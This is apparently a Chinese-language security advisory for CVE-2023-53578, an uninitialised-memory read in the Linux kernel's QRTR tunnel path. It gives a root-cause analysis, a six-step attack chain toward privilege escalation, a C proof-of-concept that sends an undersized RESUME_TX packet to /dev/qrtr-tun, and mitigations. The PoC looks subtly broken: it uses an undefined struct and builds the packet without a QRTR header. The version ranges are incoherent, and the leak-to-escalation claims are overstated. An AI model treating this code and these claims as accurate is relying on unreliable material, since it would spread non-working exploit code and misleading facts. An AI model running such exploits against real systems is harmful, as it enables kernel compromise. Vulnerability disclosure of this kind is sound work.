IPBUF安全漏洞报告
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CVE-2023-53578 CVSS 7.8 高危

CVE-2023-53578 Linux内核QRTR子系统未初始化变量访问漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53578
漏洞类型
未初始化变量访问漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (net/qrtr子系统)

相关标签

Linux KernelQRTRQualcomm IPC Router未初始化变量访问本地权限提升内核漏洞KMSANCVE-2023-53578net/qrtr内存安全

漏洞概述

CVE-2023-53578是Linux内核QRTR(Qualcomm IPC Router)子系统中的一个高危漏洞,涉及qrtr_tx_resume()函数中的未初始化变量访问问题。该漏洞由syzbot模糊测试工具发现,CVSS评分为7.8,属于高危级别。

QRTR是Linux内核中用于Qualcomm芯片平台上处理器间通信(IPC)的协议子系统,广泛应用于移动设备和嵌入式系统中。该漏洞存在于net/qrtr/af_qrtr.c文件的qrtr_tx_resume()函数中,当处理QRTR_TYPE_RESUME_TX类型的控制包时,由于未对传入的sk_buff(socket buffer)长度进行充分校验,可能导致访问未初始化的内存区域。

具体而言,qrtr_tx_resume()函数期望skb->len至少为sizeof(struct qrtr_ctrl_pkt)的大小,但在qrtr_endpoint_post()函数中,当qrtr_cb->type等于QRTR_TYPE_RESUME_TX时,传入的size参数可能小于struct qrtr_ctrl_pkt的大小。这种情况下,函数会读取超出实际初始化范围的内存数据,从而触发KMSAN(Kernel Memory Sanitizer)检测到的未初始化值使用错误。

该漏洞可被本地低权限用户利用,通过精心构造的io_submit系统调用和qrtr隧道写入操作触发,可能导致内核信息泄露、权限提升或系统崩溃。由于攻击需要本地访问权限且需要低权限认证,影响范围相对有限,但仍对使用Qualcomm芯片平台的Linux系统构成严重威胁。

技术细节

该漏洞的技术原理涉及Linux内核QRTR协议栈中的内存管理缺陷。

漏洞根因分析:
在net/qrtr/af_qrtr.c的qrtr_endpoint_post()函数中,当接收到QRTR_TYPE_RESUME_TX类型的控制包时,函数通过kmalloc分配sk_buff缓冲区,但分配的大小(size)可能小于struct qrtr_ctrl_pkt结构体的大小。随后,该sk_buff被传递给qrtr_tx_resume()函数,该函数在第230行访问skb->len对应的数据时,期望至少有sizeof(struct qrtr_ctrl_pkt)字节的有效数据,但由于实际分配的缓冲区较小,导致读取了未初始化的内存区域。

触发路径:
1. 用户空间通过io_submit系统调用提交异步I/O操作
2. 调用aio_write写入qrtr隧道设备(/dev/qrtr-tun)
3. qrtr_tun_write_iter()处理写入请求
4. qrtr_endpoint_post()分配sk_buff并设置qrtr_cb->type为QRTR_TYPE_RESUME_TX
5. qrtr_tx_resume()尝试访问超出初始化范围的内存

利用方式:
攻击者可通过以下步骤利用此漏洞:
1. 打开qrtr隧道设备获取文件描述符
2. 构造特殊的QRTR_TYPE_RESUME_TX控制包,确保其大小小于struct qrtr_ctrl_pkt
3. 通过aio_write异步写入提交该数据包
4. 内核在处理过程中读取未初始化内存,可能泄露内核栈/堆数据
5. 利用泄露的信息进行进一步的内核利用,如权限提升

修复方案:
在qrtr_endpoint_post()函数中添加对QRTR_TYPE_RESUME_TX类型的size检查,确保传入的缓冲区大小至少为sizeof(struct qrtr_ctrl_pkt),从而避免访问未初始化的内存区域。

攻击链分析

STEP 1
步骤1:获取QRTR隧道设备访问权限
攻击者需要本地访问系统,并具有打开qrtr隧道设备(/dev/qrtr-tun)的权限。该设备通常在Qualcomm芯片平台的Linux系统中可用。
STEP 2
步骤2:构造畸形控制包
攻击者构造一个QRTR_TYPE_RESUME_TX类型的控制包,但数据包大小故意设置为小于sizeof(struct qrtr_ctrl_pkt)的值,以触发未初始化内存访问。
STEP 3
步骤3:通过异步I/O提交数据包
使用io_submit系统调用通过异步I/O方式将畸形数据包写入qrtr隧道设备,调用路径为io_submit -> aio_write -> qrtr_tun_write_iter -> qrtr_endpoint_post。
STEP 4
步骤4:触发未初始化变量访问
qrtr_endpoint_post()分配sk_buff缓冲区并传递给qrtr_tx_resume(),由于缓冲区大小不足,qrtr_tx_resume()在访问skb数据时读取了未初始化的内存区域。
STEP 5
步骤5:利用泄露的内存信息
攻击者可通过KMSAN报告或其他侧信道获取泄露的内核内存内容,可能包含敏感的内核数据结构信息,为后续权限提升攻击提供基础。
STEP 6
步骤6:权限提升或系统破坏
利用泄露的内核信息,攻击者可能进行进一步的内核利用,实现权限提升或导致系统崩溃/拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53578 PoC - Linux Kernel QRTR Uninit Variable Access // This PoC triggers the uninitialized variable access bug in qrtr_tx_resume() // by sending a QRTR_TYPE_RESUME_TX control packet with insufficient size. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/syscall.h> #include <linux/aio_abi.h> #define QRTR_TUN_DEV "/dev/qrtr-tun" #define QRTR_TYPE_RESUME_TX 2 // QRTR_TYPE_RESUME_TX type value #define QRTR_CTRL_PKT_SIZE 8 // sizeof(struct qrtr_ctrl_pkt) // Trigger the vulnerability via qrtr tunnel write int trigger_vuln(void) { int fd; char buf[4]; // Intentionally smaller than sizeof(struct qrtr_ctrl_pkt) struct qrtr_ctrl_pkt pkt; fd = open(QRTR_TUN_DEV, O_WRONLY); if (fd < 0) { perror("open qrtr-tun"); return -1; } // Construct a malformed QRTR_TYPE_RESUME_TX packet // Size is less than sizeof(struct qrtr_ctrl_pkt) to trigger the bug memset(buf, 0, sizeof(buf)); buf[0] = QRTR_TYPE_RESUME_TX; // Set type to trigger vulnerable path // Write the malformed packet - this triggers qrtr_endpoint_post() // with insufficient size, leading to uninit memory access in qrtr_tx_resume() write(fd, buf, sizeof(buf)); close(fd); return 0; } // Alternative: Use io_submit (as shown in the call trace) for async trigger int trigger_vuln_async(void) { int fd, ret; struct iocb cb; struct iocb *cbs[1]; char buf[4]; // Smaller than qrtr_ctrl_pkt long ioctx_id; aio_context_t ioctx = 0; // Setup AIO context ret = syscall(SYS_io_setup, 1, &ioctx); if (ret < 0) { perror("io_setup"); return -1; } fd = open(QRTR_TUN_DEV, O_WRONLY); if (fd < 0) { perror("open qrtr-tun"); return -1; } memset(buf, 0, sizeof(buf)); buf[0] = QRTR_TYPE_RESUME_TX; // Prepare async I/O control block memset(&cb, 0, sizeof(cb)); cb.aio_fildes = fd; cb.aio_buf = (unsigned long)buf; cb.aio_nbytes = sizeof(buf); // Intentionally too small cb.aio_offset = 0; cb.aio_lio_opcode = IOCB_CMD_PWRITE; cbs[0] = &cb; // Submit async write - triggers the vulnerable code path // Call trace: io_submit -> aio_write -> qrtr_tun_write_iter -> // qrtr_endpoint_post -> qrtr_tx_resume (BUG) ret = syscall(SYS_io_submit, ioctx, 1, cbs); if (ret < 0) { perror("io_submit"); } close(fd); syscall(SYS_io_destroy, ioctx); return 0; } int main(int argc, char *argv[]) { printf("CVE-2023-53578 PoC - Linux Kernel QRTR Uninit Variable Access\n"); printf("Triggering vulnerability...\n"); if (argc > 1 && strcmp(argv[1], "async") == 0) { trigger_vuln_async(); } else { trigger_vuln(); } printf("Done. Check kernel logs for KMSAN report or crash.\n"); return 0; }

影响范围

Linux Kernel < 6.6 (受commit bef57c227b52修复的版本)
Linux Kernel < 6.1 (受commit c6a796ee5a639修复的版本)
Linux Kernel < 5.15 (受commit 8c9ce34a6ff2修复的版本)
Linux Kernel < 5.10 (受commit 6417070918de修复的版本)
Linux Kernel < 5.4 (受commit 3814d211ff13修复的版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过文件权限或SELinux/AppArmor策略限制对/dev/qrtr-tun设备的访问,仅允许可信用户访问;2)如果系统不使用QRTR功能,可以通过禁用相关内核模块(qrtr、qrtr-tun)来避免漏洞被触发;3)启用内核内存保护机制如KASLR、SMEP/SMAP等增加利用难度;4)密切监控系统日志,关注KMSAN或KASAN报告中的异常访问;5)限制本地低权限用户的系统调用能力,特别是io_submit等可能被用于触发漏洞的系统调用。

参考链接

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